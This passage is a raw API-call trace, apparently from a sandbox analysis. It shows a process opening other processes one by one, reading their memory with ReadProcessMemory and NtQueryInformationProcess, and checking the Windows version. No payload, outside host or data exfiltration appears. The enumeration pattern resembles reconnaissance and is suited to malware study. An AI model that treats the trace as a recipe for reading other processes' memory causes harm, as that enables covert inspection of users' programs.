ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.966] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.966] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.966] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.967] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.969] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.969] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.969] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.969] malloc (_Size=0x72) returned 0x196ef0d31b0 [0297.969] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.970] free (_Block=0x196ef0d31b0) [0297.970] CloseHandle (hObject=0x464) returned 1 [0297.971] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0297.976] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4016") returned 4 [0297.977] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.977] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x464 [0298.014] GetLastError () returned 0x0 [0298.014] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.014] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.014] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.016] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.018] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.018] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.018] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.018] malloc (_Size=0x70) returned 0x196ef0d31b0 [0298.018] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.019] free (_Block=0x196ef0d31b0) [0298.020] CloseHandle (hObject=0x464) returned 1 [0298.020] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0298.024] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4032") returned 4 [0298.026] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.026] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x464 [0298.044] GetLastError () returned 0x0 [0298.045] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5518f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.047] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.049] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.049] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.050] malloc (_Size=0x70) returned 0x196ef0d31b0 [0298.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.051] free (_Block=0x196ef0d31b0) [0298.051] CloseHandle (hObject=0x464) returned 1 [0298.052] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0298.056] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4040") returned 4 [0298.057] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.057] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.079] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x464 [0298.079] GetLastError () returned 0x0 [0298.079] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.079] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.080] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.081] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.083] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.083] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0298.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.084] free (_Block=0x196ef0d31b0) [0298.084] CloseHandle (hObject=0x464) returned 1 [0298.085] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0298.090] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4052") returned 4 [0298.091] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.091] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.144] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x464 [0298.145] GetLastError () returned 0x0 [0298.145] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.145] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.146] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.146] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.146] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.148] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.149] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.150] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.150] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.150] malloc (_Size=0x78) returned 0x196ef0d2120 [0298.150] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0298.151] free (_Block=0x196ef0d2120) [0298.153] CloseHandle (hObject=0x464) returned 1 [0298.155] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0298.162] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4060") returned 4 [0298.164] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.164] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.183] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x464 [0298.183] GetLastError () returned 0x0 [0298.184] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.186] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.187] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.187] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.188] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.188] malloc (_Size=0x7e) returned 0x196ef0fac30 [0298.188] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59196e, lpBuffer=0x196ef0fac30, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fac30*, lpNumberOfBytesRead=0x0) returned 1 [0298.188] free (_Block=0x196ef0fac30) [0298.189] CloseHandle (hObject=0x464) returned 1 [0298.190] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0298.216] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4080") returned 4 [0298.218] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.218] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x464 [0298.235] GetLastError () returned 0x0 [0298.235] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.237] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.239] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.239] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0298.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.240] free (_Block=0x196ef0d31b0) [0298.241] CloseHandle (hObject=0x464) returned 1 [0298.241] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0298.264] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4088") returned 4 [0298.265] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.265] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.283] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x464 [0298.283] GetLastError () returned 0x0 [0298.284] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.285] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.285] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.286] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.287] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.287] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.287] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.288] malloc (_Size=0x72) returned 0x196ef0d31b0 [0298.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.288] free (_Block=0x196ef0d31b0) [0298.289] CloseHandle (hObject=0x464) returned 1 [0298.290] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0298.294] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4100") returned 4 [0298.295] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.296] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 